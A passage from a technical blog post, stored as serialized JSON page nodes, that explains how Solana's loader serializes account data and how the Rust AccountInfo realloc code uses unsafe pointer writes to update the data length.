",{"type":22,"tag":114,"props":17265,"children":17267},{"className":17266},[],[17268],{"type":28,"value":17269},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":17271}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":22,"tag":42,"props":17273,"children":17276},{"href":17274,"rel":17275},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[46],[17277],{"type":22,"tag":114,"props":17278,"children":17280},{"className":17279},[],[17281],{"type":28,"value":17282},"slice::from_raw_parts_mut",{"type":28,"value":17284},") - slices are how Rust represents a, well, ",{"type":22,"tag":4764,"props":17286,"children":17287},{},[17288],{"type":28,"value":17289},"slice",{"type":28,"value":17291}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":22,"tag":114,"props":17293,"children":17295},{"className":17294},[],[17296],{"type":28,"value":17297},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":17299},", giving us the unwieldy-looking type of ",{"type":22,"tag":114,"props":17301,"children":17303},{"className":17302},[],[17304],{"type":28,"value":17305},"AccountInfo.data",{"type":28,"value":1319},{"type":22,"tag":114,"props":17308,"children":17310},{"className":17309},[],[17311],{"type":28,"value":17312},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":292},{"type":22,"tag":31,"props":17315,"children":17316},{},[17317,17319,17326],{"type":28,"value":17318},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":22,"tag":42,"props":17320,"children":17323},{"href":17321,"rel":17322},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[46],[17324],{"type":28,"value":17325},"cloning the referenced account",{"type":28,"value":213},{"type":22,"tag":107,"props":17328,"children":17330},{"className":109,"code":17329,"language":111,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[17331],{"type":22,"tag":114,"props":17332,"children":17333},{"__ignoreMap":7},[17334,17342],{"type":22,"tag":118,"props":17335,"children":17336},{"class":120,"line":121},[17337],{"type":22,"tag":118,"props":17338,"children":17339},{"style":257},[17340],{"type":28,"value":17341},"// Duplicate account, clone the original\n",{"type":22,"tag":118,"props":17343,"children":17344},{"class":120,"line":142},[17345,17349,17353,17357,17361,17365,17369,17374,17378,17382,17387,17391,17395],{"type":22,"tag":118,"props":17346,"children":17347},{"style":204},[17348],{"type":28,"value":648},{"type":22,"tag":118,"props":17350,"children":17351},{"style":210},[17352],{"type":28,"value":292},{"type":22,"tag":118,"props":17354,"children":17355},{"style":532},[17356],{"type":28,"value":5824},{"type":22,"tag":118,"props":17358,"children":17359},{"style":125},[17360],{"type":28,"value":540},{"type":22,"tag":118,"props":17362,"children":17363},{"style":204},[17364],{"type":28,"value":648},{"type":22,"tag":118,"props":17366,"children":17367},{"style":125},[17368],{"type":28,"value":5746},{"type":22,"tag":118,"props":17370,"children":17371},{"style":204},[17372],{"type":28,"value":17373},"dup_info",{"type":22,"tag":118,"props":17375,"children":17376},{"style":146},[17377],{"type":28,"value":10829},{"type":22,"tag":118,"props":17379,"children":17380},{"style":131},[17381],{"type":28,"value":3946},{"type":22,"tag":118,"props":17383,"children":17384},{"style":125},[17385],{"type":28,"value":17386},"]",{"type":22,"tag":118,"props":17388,"children":17389},{"style":210},[17390],{"type":28,"value":292},{"type":22,"tag":118,"props":17392,"children":17393},{"style":532},[17394],{"type":28,"value":4180},{"type":22,"tag":118,"props":17396,"children":17397},{"style":125},[17398],{"type":28,"value":17399},"());\n",{"type":22,"tag":31,"props":17401,"children":17402},{},[17403,17405,17410,17412,17417,17419,17424,17426,17431,17432,17438,17440,17445,17447,17459,17461,17466],{"type":28,"value":17404},"Since ",{"type":22,"tag":114,"props":17406,"children":17408},{"className":17407},[],[17409],{"type":28,"value":5715},{"type":28,"value":17411}," inside the ",{"type":22,"tag":114,"props":17413,"children":17415},{"className":17414},[],[17416],{"type":28,"value":3028},{"type":28,"value":17418}," is a ",{"type":22,"tag":114,"props":17420,"children":17422},{"className":17421},[],[17423],{"type":28,"value":17297},{"type":28,"value":17425},", where the ",{"type":22,"tag":114,"props":17427,"children":17429},{"className":17428},[],[17430],{"type":28,"value":7997},{"type":28,"value":17418},{"type":22,"tag":114,"props":17433,"children":17435},{"className":17434},[],[17436],{"type":28,"value":17437},"&mut [u8]",{"type":28,"value":17439}," pointing at the actual data buffer, when we clone the ",{"type":22,"tag":114,"props":17441,"children":17443},{"className":17442},[],[17444],{"type":28,"value":3028},{"type":28,"value":17446},", we get a new reference",{"type":22,"tag":17448,"props":17449,"children":17450},"sup",{},[17451],{"type":22,"tag":42,"props":17452,"children":17457},{"href":17453,"ariaDescribedBy":17454,"dataFootnoteRef":7,"id":17456},"#user-content-fn-rc-refs",[17455],"footnote-label","user-content-fnref-rc-refs",[17458],{"type":28,"value":6026},{"type":28,"value":17460}," to the slice pointing at the ",{"type":22,"tag":4764,"props":17462,"children":17463},{},[17464],{"type":28,"value":17465},"same",{"type":28,"value":17467}," data buffer.",{"type":22,"tag":31,"props":17469,"children":17470},{},[17471,17473,17479,17481,17486],{"type":28,"value":17472},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":22,"tag":114,"props":17474,"children":17476},{"className":17475},[],[17477],{"type":28,"value":17478},"RefCell",{"type":28,"value":17480}," to check the rules at runtime. (The ",{"type":22,"tag":114,"props":17482,"children":17484},{"className":17483},[],[17485],{"type":28,"value":2109},{"type":28,"value":17487}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":22,"tag":31,"props":17489,"children":17490},{},[17491,17493,17499],{"type":28,"value":17492},"Changing the data of an account is done by simply writing to ",{"type":22,"tag":114,"props":17494,"children":17496},{"className":17495},[],[17497],{"type":28,"value":17498},"AccountInfo::data",{"type":28,"value":17500},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":22,"tag":31,"props":17502,"children":17503},{},[17504,17506,17513],{"type":28,"value":17505},"This is also where the ",{"type":22,"tag":42,"props":17507,"children":17510},{"href":17508,"rel":17509},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[46],[17511],{"type":28,"value":17512},"runtime validity checks",{"type":28,"value":17514}," are imposed.",{"type":22,"tag":107,"props":17516,"children":17518},{"className":109,"code":17517,"language":111,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[17519],{"type":22,"tag":114,"props":17520,"children":17521},{"__ignoreMap":7},[17522,17530,17538,17546,17588,17605,17632,17677,17684,17707,17739,17764,17796,17811,17843,17850],{"type":22,"tag":118,"props":17523,"children":17524},{"class":120,"line":121},[17525],{"type":22,"tag":118,"props":17526,"children":17527},{"style":257},[17528],{"type":28,"value":17529},"// Only the owner may change account data\n",{"type":22,"tag":118,"props":17531,"children":17532},{"class":120,"line":142},[17533],{"type":22,"tag":118,"props":17534,"children":17535},{"style":257},[17536],{"type":28,"value":17537},"//   and if the account is writable\n",{"type":22,"tag":118,"props":17539,"children":17540},{"class":120,"line":177},[17541],{"type":22,"tag":118,"props":17542,"children":17543},{"style":257},[17544],{"type":28,"value":17545},"//   and if the account is not executable\n",{"type":22,"tag":118,"props":17547,"children":17548},{"class":120,"line":195},[17549,17554,17558,17562,17566,17570,17575,17579,17584],{"type":22,"tag":118,"props":17550,"children":17551},{"style":1480},[17552],{"type":28,"value":17553},"if",{"type":22,"tag":118,"props":17555,"children":17556},{"style":210},[17557],{"type":28,"value":2164},{"type":22,"tag":118,"props":17559,"children":17560},{"style":125},[17561],{"type":28,"value":540},{"type":22,"tag":118,"props":17563,"children":17564},{"style":204},[17565],{"type":28,"value":16646},{"type":22,"tag":118,"props":17567,"children":17568},{"style":210},[17569],{"type":28,"value":1780},{"type":22,"tag":118,"props":17571,"children":17572},{"style":204},[17573],{"type":28,"value":17574}," pre",{"type":22,"tag":118,"props":17576,"children":17577},{"style":210},[17578],{"type":28,"value":292},{"type":22,"tag":118,"props":17580,"children":17581},{"style":532},[17582],{"type":28,"value":17583},"owner",{"type":22,"tag":118,"props":17585,"children":17586},{"style":125},[17587],{"type":28,"value":2708},{"type":22,"tag":118,"props":17589,"children":17590},{"class":120,"line":244},[17591,17595,17600],{"type":22,"tag":118,"props":17592,"children":17593},{"style":210},[17594],{"type":28,"value":3261},{"type":22,"tag":118,"props":17596,"children":17597},{"style":204},[17598],{"type":28,"value":17599}," is_writable",{"type":22,"tag":118,"props":17601,"children":17602},{"style":257},[17603],{"type":28,"value":17604},"  // line coverage used to get branch coverage\n",{"type":22,"tag":118,"props":17606,"children":17607},{"class":120,"line":253},[17608,17612,17616,17620,17624,17628],{"type":22,"tag":118,"props":17609,"children":17610},{"style":210},[17611],{"type":28,"value":3261},{"type":22,"tag":118,"props":17613,"children":17614},{"style":210},[17615],{"type":28,"value":2164},{"type":22,"tag":118,"props":17617,"children":17618},{"style":204},[17619],{"type":28,"value":107},{"type":22,"tag":118,"props":17621,"children":17622},{"style":210},[17623],{"type":28,"value":292},{"type":22,"tag":118,"props":17625,"children":17626},{"style":532},[17627],{"type":28,"value":2703},{"type":22,"tag":118,"props":17629,"children":17630},{"style":125},[17631],{"type":28,"value":3305},{"type":22,"tag":118,"props":17633,"children":17634},{"class":120,"line":263},[17635,17639,17643,17647,17651,17655,17660,17665,17669,17673],{"type":22,"tag":118,"props":17636,"children":17637},{"style":210},[17638],{"type":28,"value":3261},{"type":22,"tag":118,"props":17640,"children":17641},{"style":204},[17642],{"type":28,"value":17574},{"type":22,"tag":118,"props":17644,"children":17645},{"style":210},[17646],{"type":28,"value":292},{"type":22,"tag":118,"props":17648,"children":17649},{"style":532},[17650],{"type":28,"value":5715},{"type":22,"tag":118,"props":17652,"children":17653},{"style":125},[17654],{"type":28,"value":2182},{"type":22,"tag":118,"props":17656,"children":17657},{"style":210},[17658],{"type":28,"value":17659},"!=",{"type":22,"tag":118,"props":17661,"children":17662},{"style":204},[17663],{"type":28,"value":17664}," post",{"type":22,"tag":118,"props":17666,"children":17667},{"style":210},[17668],{"type":28,"value":292},{"type":22,"tag":118,"props":17670,"children":17671},{"style":532},[17672],{"type":28,"value":5715},{"type":22,"tag":118,"props":17674,"children":17675},{"style":125},[17676],{"type":28,"value":2708},{"type":22,"tag":118,"props":17678,"children":17679},{"class":120,"line":318},[17680],{"type":22,"tag":118,"props":17681,"children":17682},{"style":125},[17683],{"type":28,"value":12879},{"type":22,"tag":118,"props":17685,"children":17686},{"class":120,"line":351},[17687,17691,17695,17699,17703],{"type":22,"tag":118,"props":17688,"children":17689},{"style":1480},[17690],{"type":28,"value":2159},{"type":22,"tag":118,"props":17692,"children":17693},{"style":204},[17694],{"type":28,"value":17574},{"type":22,"tag":118,"props":17696,"children":17697},{"style":210},[17698],{"type":28,"value":292},{"type":22,"tag":118,"props":17700,"children":17701},{"style":532},[17702],{"type":28,"value":2703},{"type":22,"tag":118,"props":17704,"children":17705},{"style":125},[17706],{"type":28,"value":2215},{"type":22,"tag":118,"props":17708,"children":17709},{"class":120,"line":359},[17710,17714,17718,17722,17726,17730,17735],{"type":22,"tag":118,"props":17711,"children":17712},{"style":1480},[17713],{"type":28,"value":2223},{"type":22,"tag":118,"props":17715,"children":17716},{"style":131},[17717],{"type":28,"value":2228},{"type":22,"tag":118,"props":17719,"children":17720},{"style":125},[17721],{"type":28,"value":540},{"type":22,"tag":118,"props":17723,"children":17724},{"style":131},[17725],{"type":28,"value":2139},{"type":22,"tag":118,"props":17727,"children":17728},{"style":210},[17729],{"type":28,"value":1190},{"type":22,"tag":118,"props":17731,"children":17732},{"style":131},[17733],{"type":28,"value":17734},"ExecutableDataModified",{"type":22,"tag":118,"props":17736,"children":17737},{"style":125},[17738],{"type":28,"value":682},{"type":22,"tag":118,"props":17740,"children":17741},{"class":120,"line":368},[17742,17747,17751,17756,17760],{"type":22,"tag":118,"props":17743,"children":17744},{"style":125},[17745],{"type":28,"value":17746},"    } ",{"type":22,"tag":118,"props":17748,"children":17749},{"style":1480},[17750],{"type":28,"value":5335},{"type":22,"tag":118,"props":17752,"children":17753},{"style":1480},[17754],{"type":28,"value":17755}," if",{"type":22,"tag":118,"props":17757,"children":17758},{"style":204},[17759],{"type":28,"value":17599},{"type":22,"tag":118,"props":17761,"children":17762},{"style":125},[17763],{"type":28,"value":1474},{"type":22,"tag":118,"props":17765,"children":17766},{"class":120,"line":384},[17767,17771,17775,17779,17783,17787,17792],{"type":22,"tag":118,"props":17768,"children":17769},{"style":1480},[17770],{"type":28,"value":2223},{"type":22,"tag":118,"props":17772,"children":17773},{"style":131},[17774],{"type":28,"value":2228},{"type":22,"tag":118,"props":17776,"children":17777},{"style":125},[17778],{"type":28,"value":540},{"type":22,"tag":118,"props":17780,"children":17781},{"style":131},[17782],{"type":28,"value":2139},{"type":22,"tag":118,"props":17784,"children":17785},{"style":210},[17786],{"type":28,"value":1190},{"type":22,"tag":118,"props":17788,"children":17789},{"style":131},[17790],{"type":28,"value":17791},"ExternalAccountDataModified",{"type":22,"tag":118,"props":17793,"children":17794},{"style":125},[17795],{"type":28,"value":682},{"type":22,"tag":118,"props":17797,"children":17798},{"class":120,"line":417},[17799,17803,17807],{"type":22,"tag":118,"props":17800,"children":17801},{"style":125},[17802],{"type":28,"value":17746},{"type":22,"tag":118,"props":17804,"children":17805},{"style":1480},[17806],{"type":28,"value":5335},{"type":22,"tag":118,"props":17808,"children":17809},{"style":125},[17810],{"type":28,"value":1474},{"type":22,"tag":118,"props":17812,"children":17813},{"class":120,"line":425},[17814,17818,17822,17826,17830,17834,17839],{"type":22,"tag":118,"props":17815,"children":17816},{"style":1480},[17817],{"type":28,"value":2223},{"type":22,"tag":118,"props":17819,"children":17820},{"style":131},[17821],{"type":28,"value":2228},{"type":22,"tag":118,"props":17823,"children":17824},{"style":125},[17825],{"type":28,"value":540},{"type":22,"tag":118,"props":17827,"children":17828},{"style":131},[17829],{"type":28,"value":2139},{"type":22,"tag":118,"props":17831,"children":17832},{"style":210},[17833],{"type":28,"value":1190},{"type":22,"tag":118,"props":17835,"children":17836},{"style":131},[17837],{"type":28,"value":17838},"ReadonlyDataModified",{"type":22,"tag":118,"props":17840,"children":17841},{"style":125},[17842],{"type":28,"value":682},{"type":22,"tag":118,"props":17844,"children":17845},{"class":120,"line":441},[17846],{"type":22,"tag":118,"props":17847,"children":17848},{"style":125},[17849],{"type":28,"value":1254},{"type":22,"tag":118,"props":17851,"children":17852},{"class":120,"line":475},[17853],{"type":22,"tag":118,"props":17854,"children":17855},{"style":125},[17856],{"type":28,"value":481},{"type":22,"tag":1289,"props":17858,"children":17860},{"id":17859},"back-to-realloc",[17861,17863],{"type":28,"value":17862},"Back to ",{"type":22,"tag":114,"props":17864,"children":17866},{"className":17865},[],[17867],{"type":28,"value":15632},{"type":22,"tag":31,"props":17869,"children":17870},{},[17871],{"type":28,"value":17872},"As a reminder, this is what we were looking at before that detour:",{"type":22,"tag":107,"props":17874,"children":17875},{"className":109,"code":16371,"language":111,"meta":7,"style":7},[17876],{"type":22,"tag":114,"props":17877,"children":17878},{"__ignoreMap":7},[17879,17886,17973],{"type":22,"tag":118,"props":17880,"children":17881},{"class":120,"line":121},[17882],{"type":22,"tag":118,"props":17883,"children":17884},{"style":257},[17885],{"type":28,"value":16383},{"type":22,"tag":118,"props":17887,"children":17888},{"class":120,"line":142},[17889,17893,17897,17901,17905,17909,17913,17917,17921,17925,17929,17933,17937,17941,17945,17949,17953,17957,17961,17965,17969],{"type":22,"tag":118,"props":17890,"children":17891},{"style":146},[17892],{"type":28,"value":3149},{"type":22,"tag":118,"props":17894,"children":17895},{"style":204},[17896],{"type":28,"value":15842},{"type":22,"tag":118,"props":17898,"children":17899},{"style":210},[17900],{"type":28,"value":837},{"type":22,"tag":118,"props":17902,"children":17903},{"style":146},[17904],{"type":28,"value":2100},{"type":22,"tag":118,"props":17906,"children":17907},{"style":210},[17908],{"type":28,"value":292},{"type":22,"tag":118,"props":17910,"children":17911},{"style":532},[17912],{"type":28,"value":15859},{"type":22,"tag":118,"props":17914,"children":17915},{"style":125},[17916],{"type":28,"value":1200},{"type":22,"tag":118,"props":17918,"children":17919},{"style":210},[17920],{"type":28,"value":1205},{"type":22,"tag":118,"props":17922,"children":17923},{"style":532},[17924],{"type":28,"value":15872},{"type":22,"tag":118,"props":17926,"children":17927},{"style":125},[17928],{"type":28,"value":1200},{"type":22,"tag":118,"props":17930,"children":17931},{"style":210},[17932],{"type":28,"value":292},{"type":22,"tag":118,"props":17934,"children":17935},{"style":532},[17936],{"type":28,"value":15885},{"type":22,"tag":118,"props":17938,"children":17939},{"style":125},[17940],{"type":28,"value":540},{"type":22,"tag":118,"props":17942,"children":17943},{"style":210},[17944],{"type":28,"value":6340},{"type":22,"tag":118,"props":17946,"children":17947},{"style":674},[17948],{"type":28,"value":6090},{"type":22,"tag":118,"props":17950,"children":17951},{"style":125},[17952],{"type":28,"value":588},{"type":22,"tag":118,"props":17954,"children":17955},{"style":146},[17956],{"type":28,"value":1215},{"type":22,"tag":118,"props":17958,"children":17959},{"style":210},[17960],{"type":28,"value":11815},{"type":22,"tag":118,"props":17962,"children":17963},{"style":146},[17964],{"type":28,"value":188},{"type":22,"tag":118,"props":17966,"children":17967},{"style":131},[17968],{"type":28,"value":583},{"type":22,"tag":118,"props":17970,"children":17971},{"style":125},[17972],{"type":28,"value":801},{"type":22,"tag":118,"props":17974,"children":17975},{"class":120,"line":177},[17976,17980,17984,17988,17992,17996,18000],{"type":22,"tag":118,"props":17977,"children":17978},{"style":210},[17979],{"type":28,"value":671},{"type":22,"tag":118,"props":17981,"children":17982},{"style":204},[17983],{"type":28,"value":15933},{"type":22,"tag":118,"props":17985,"children":17986},{"style":210},[17987],{"type":28,"value":837},{"type":22,"tag":118,"props":17989,"children":17990},{"style":204},[17991],{"type":28,"value":15942},{"type":22,"tag":118,"props":17993,"children":17994},{"style":146},[17995],{"type":28,"value":10829},{"type":22,"tag":118,"props":17997,"children":17998},{"style":131},[17999],{"type":28,"value":583},{"type":22,"tag":118,"props":18001,"children":18002},{"style":125},[18003],{"type":28,"value":801},{"type":22,"tag":31,"props":18005,"children":18006},{},[18007,18012,18014,18019,18021,18026,18028,18039,18041,18046,18048,18053],{"type":22,"tag":114,"props":18008,"children":18010},{"className":18009},[],[18011],{"type":28,"value":15859},{"type":28,"value":18013}," gives us the ",{"type":22,"tag":114,"props":18015,"children":18017},{"className":18016},[],[18018],{"type":28,"value":17437},{"type":28,"value":18020}," from the ",{"type":22,"tag":114,"props":18022,"children":18024},{"className":18023},[],[18025],{"type":28,"value":17312},{"type":28,"value":18027},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":22,"tag":42,"props":18029,"children":18032},{"href":18030,"rel":18031},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[46],[18033],{"type":22,"tag":114,"props":18034,"children":18036},{"className":18035},[],[18037],{"type":28,"value":18038},"slice::as_mut_ptr()",{"type":28,"value":18040}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":22,"tag":114,"props":18042,"children":18044},{"className":18043},[],[18045],{"type":28,"value":10046},{"type":28,"value":18047}," - behind the data buffer), and then writes ",{"type":22,"tag":114,"props":18049,"children":18051},{"className":18050},[],[18052],{"type":28,"value":15713},{"type":28,"value":18054}," to it.",{"type":22,"tag":31,"props":18056,"children":18057},{},[18058,18060,18072,18074,18080],{"type":28,"value":18059},"This is reasonable... ",{"type":22,"tag":4764,"props":18061,"children":18062},{},[18063,18065,18070],{"type":28,"value":18064},"as long as the ",{"type":22,"tag":114,"props":18066,"children":18068},{"className":18067},[],[18069],{"type":28,"value":5715},{"type":28,"value":18071}," actually came from the serialized buffer",{"type":28,"value":18073},". We'll come back to this ",{"type":22,"tag":42,"props":18075,"children":18077},{"href":18076},"#Not-contracts",[18078],{"type":28,"value":18079},"later",{"type":28,"value":292},{"type":22,"tag":31,"props":18082,"children":18083},{},[18084,18086,18091],{"type":28,"value":18085},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":22,"tag":114,"props":18087,"children":18089},{"className":18088},[],[18090],{"type":28,"value":17437},{"type":28,"value":18092}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":22,"tag":107,"props":18094,"children":18096},{"className":109,"code":18095,"language":111,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[18097],{"type":22,"tag":114,"props":18098,"children":18099},{"__ignoreMap":7},[18100,18108,18235],{"type":22,"tag":118,"props":18101,"children":18102},{"class":120,"line":121},[18103],{"type":22,"tag":118,"props":18104,"children":18105},{"style":257},[18106],{"type":28,"value":18107},"// Then set the new length in the local slice\n",{"type":22,"tag":118,"props":18109,"children":18110},{"class":120,"line":142},[18111,18115,18119,18123,18127,18131,18135,18139,18143,18147,18151,18155,18159,18163,18167,18171,18175,18179,18183,18187,18191,18195,18199,18203,18207,18211,18215,18219,18223,18227,18231],{"type":22,"tag":118,"props":18112,"children":18113},{"style":146},[18114],{"type":28,"value":3149},{"type":22,"tag":118,"props":18116,"children":18117},{"style":204},[18118],{"type":28,"value":15842},{"type":22,"tag":118,"props":18120,"children":18121},{"style":210},[18122],{"type":28,"value":837},{"type":22,"tag":118,"props":18124,"children":18125},{"style":210},[18126],{"type":28,"value":1430},{"type":22,"tag":118,"props":18128,"children":18129},{"style":146},[18130],{"type":28,"value":188},{"type":22,"tag":118,"props":18132,"children":18133},{"style":210},[18134],{"type":28,"value":11815},{"type":22,"tag":118,"props":18136,"children":18137},{"style":125},[18138],{"type":28,"value":16001},{"type":22,"tag":118,"props":18140,"children":18141},{"style":146},[18142],{"type":28,"value":1412},{"type":22,"tag":118,"props":18144,"children":18145},{"style":210},[18146],{"type":28,"value":292},{"type":22,"tag":118,"props":18148,"children":18149},{"style":125},[18150],{"type":28,"value":5715},{"type":22,"tag":118,"props":18152,"children":18153},{"style":210},[18154],{"type":28,"value":292},{"type":22,"tag":118,"props":18156,"children":18157},{"style":532},[18158],{"type":28,"value":16022},{"type":22,"tag":118,"props":18160,"children":18161},{"style":125},[18162],{"type":28,"value":2182},{"type":22,"tag":118,"props":18164,"children":18165},{"style":146},[18166],{"type":28,"value":1215},{"type":22,"tag":118,"props":18168,"children":18169},{"style":210},[18170],{"type":28,"value":11815},{"type":22,"tag":118,"props":18172,"children":18173},{"style":146},[18174],{"type":28,"value":11653},{"type":22,"tag":118,"props":18176,"children":18177},{"style":131},[18178],{"type":28,"value":583},{"type":22,"tag":118,"props":18180,"children":18181},{"style":125},[18182],{"type":28,"value":3627},{"type":22,"tag":118,"props":18184,"children":18185},{"style":210},[18186],{"type":28,"value":292},{"type":22,"tag":118,"props":18188,"children":18189},{"style":532},[18190],{"type":28,"value":15885},{"type":22,"tag":118,"props":18192,"children":18193},{"style":125},[18194],{"type":28,"value":540},{"type":22,"tag":118,"props":18196,"children":18197},{"style":674},[18198],{"type":28,"value":6026},{"type":22,"tag":118,"props":18200,"children":18201},{"style":125},[18202],{"type":28,"value":588},{"type":22,"tag":118,"props":18204,"children":18205},{"style":146},[18206],{"type":28,"value":1215},{"type":22,"tag":118,"props":18208,"children":18209},{"style":131},[18210],{"type":28,"value":583},{"type":22,"tag":118,"props":18212,"children":18213},{"style":125},[18214],{"type":28,"value":588},{"type":22,"tag":118,"props":18216,"children":18217},{"style":146},[18218],{"type":28,"value":1215},{"type":22,"tag":118,"props":18220,"children":18221},{"style":210},[18222],{"type":28,"value":11815},{"type":22,"tag":118,"props":18224,"children":18225},{"style":146},[18226],{"type":28,"value":188},{"type":22,"tag":118,"props":18228,"children":18229},{"style":131},[18230],{"type":28,"value":583},{"type":22,"tag":118,"props":18232,"children":18233},{"style":125},[18234],{"type":28,"value":682},{"type":22,"tag":118,"props":18236,"children":18237},{"class":120,"line":177},[18238,18242,18246,18250,18254,18258,18262],{"type":22,"tag":118,"props":18239,"children":18240},{"style":210},[18241],{"type":28,"value":671},{"type":22,"tag":118,"props":18243,"children":18244},{"style":204},[18245],{"type":28,"value":15933},{"type":22,"tag":118,"props":18247,"children":18248},{"style":210},[18249],{"type":28,"value":837},{"type":22,"tag":118,"props":18251,"children":18252},{"style":204},[18253],{"type":28,"value":15942},{"type":22,"tag":118,"props":18255,"children":18256},{"style":146},[18257],{"type":28,"value":10829},{"type":22,"tag":118,"props":18259,"children":18260},{"style":131},[18261],{"type":28,"value":583},{"type":22,"tag":118,"props":18263,"children":18264},{"style":125},[18265],{"type":28,"value":801},{"type":22,"tag":31,"props":18267,"children":18268},{},[18269,18271,18277,18279,18290,18292,18298,18300,18306,18308,18313,18315,18319,18321,18331,18332,18339,18340,18347,18354,18356,18362,18364,18370,18372,18377,18379,18384,18386,18392,18394,18399],{"type":28,"value":18270},"That ",{"type":22,"tag":114,"props":18272,"children":18274},{"className":18273},[],[18275],{"type":28,"value":18276},"as_ptr()",{"type":28,"value":18278}," call is ",{"type":22,"tag":42,"props":18280,"children":18283},{"href":18281,"rel":18282},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[46],[18284],{"type":22,"tag":114,"props":18285,"children":18287},{"className":18286},[],[18288],{"type":28,"value":18289},"RefCell::as_ptr()",{"type":28,"value":18291}," due to the ",{"type":22,"tag":114,"props":18293,"children":18295},{"className":18294},[],[18296],{"type":28,"value":18297},"Deref",{"type":28,"value":18299}," impl on ",{"type":22,"tag":114,"props":18301,"children":18303},{"className":18302},[],[18304],{"type":28,"value":18305},"Rc",{"type":28,"value":18307}," (remember also that ",{"type":22,"tag":114,"props":18309,"children":18311},{"className":18310},[],[18312],{"type":28,"value":17478},{"type":28,"value":18314}," itself doesn't behave like a reference, you need to actually ",{"type":22,"tag":4764,"props":18316,"children":18317},{},[18318],{"type":28,"value":1195},{"type":28,"value":18320}," one through ",{"type":22,"tag":42,"props":18322,"children":18325},{"href":18323,"rel":18324},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[46],[18326],{"type":22,"tag":114,"props":18327,"children":18329},{"className":18328},[],[18330],{"type":28,"value":10803},{"type":28,"value":8467},{"type":22,"tag":42,"props":18333,"children":18336},{"href":18334,"rel":18335},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[46],[18337],{"type":28,"value":18338},"and",{"type":28,"value":8467},{"type":22,"tag":42,"props":18341,"children":18344},{"href":18342,"rel":18343},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[46],[18345],{"type":28,"value":18346},"frie",{"type":22,"tag":42,"props":18348,"children":18351},{"href":18349,"rel":18350},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[46],[18352],{"type":28,"value":18353},"nds",{"type":28,"value":18355},"). So from ",{"type":22,"tag":114,"props":18357,"children":18359},{"className":18358},[],[18360],{"type":28,"value":18361},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":18363}," we get a ",{"type":22,"tag":114,"props":18365,"children":18367},{"className":18366},[],[18368],{"type":28,"value":18369},"*mut &mut [u8]",{"type":28,"value":18371}," - a ",{"type":22,"tag":4764,"props":18373,"children":18374},{},[18375],{"type":28,"value":18376},"pointer",{"type":28,"value":18378}," to the ",{"type":22,"tag":4764,"props":18380,"children":18381},{},[18382],{"type":28,"value":18383},"slice reference",{"type":28,"value":18385},". From here, we turn the pointer into a ",{"type":22,"tag":114,"props":18387,"children":18389},{"className":18388},[],[18390],{"type":28,"value":18391},"*const u64",{"type":28,"value":18393}," pointer and then offset by 1 ",{"type":22,"tag":114,"props":18395,"children":18397},{"className":18396},[],[18398],{"type":28,"value":10046},{"type":28,"value":18400}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":22,"tag":31,"props":18402,"children":18403},{},[18404,18406,18411,18413,18418,18420,18425,18427,18432,18434,18440],{"type":28,"value":18405},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":22,"tag":42,"props":18407,"children":18409},{"href":18408},"#Towards-safer-unsafe",[18410],{"type":28,"value":18079},{"type":28,"value":18412}," too, I promise. In summary, we're writing the new length as a ",{"type":22,"tag":114,"props":18414,"children":18416},{"className":18415},[],[18417],{"type":28,"value":10046},{"type":28,"value":18419}," to the region starting 8 bytes from the start of the slice ",{"type":22,"tag":4764,"props":18421,"children":18422},{},[18423],{"type":28,"value":18424},"reference",{"type":28,"value":18426}," (the ",{"type":22,"tag":114,"props":18428,"children":18430},{"className":18429},[],[18431],{"type":28,"value":17437},{"type":28,"value":18433},").So, what does ",{"type":22,"tag":114,"props":18435,"children":18437},{"className":18436},[],[18438],{"type":28,"value":18439},"&[T]",{"type":28,"value":18441}," look like in Rust?",{"type":22,"tag":31,"props":18443,"children":18444},{},[18445,18447,18454,18456,18469,18471,18477],{"type":28,"value":18446},"According to 